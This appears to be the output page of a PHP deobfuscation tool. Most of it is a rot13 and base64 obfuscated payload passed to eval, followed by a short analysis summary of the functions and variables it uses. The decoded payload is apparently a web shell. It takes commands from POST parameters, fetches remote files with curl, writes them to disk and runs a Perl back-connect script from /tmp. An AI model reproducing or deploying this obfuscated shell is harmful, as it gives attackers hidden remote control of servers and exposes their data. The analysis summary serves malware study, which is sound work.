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'))); ?>

Function Calls

ini_set 2
str_rot13 1
base64_decode 1
error_reporting 1

Variables

$UspwG base64_decode
$rhHBV str_rot13

Stats

MD5 56688e3e9557c1b06ebe69f17675aa6f
Eval Count 1
Decode Time 198 ms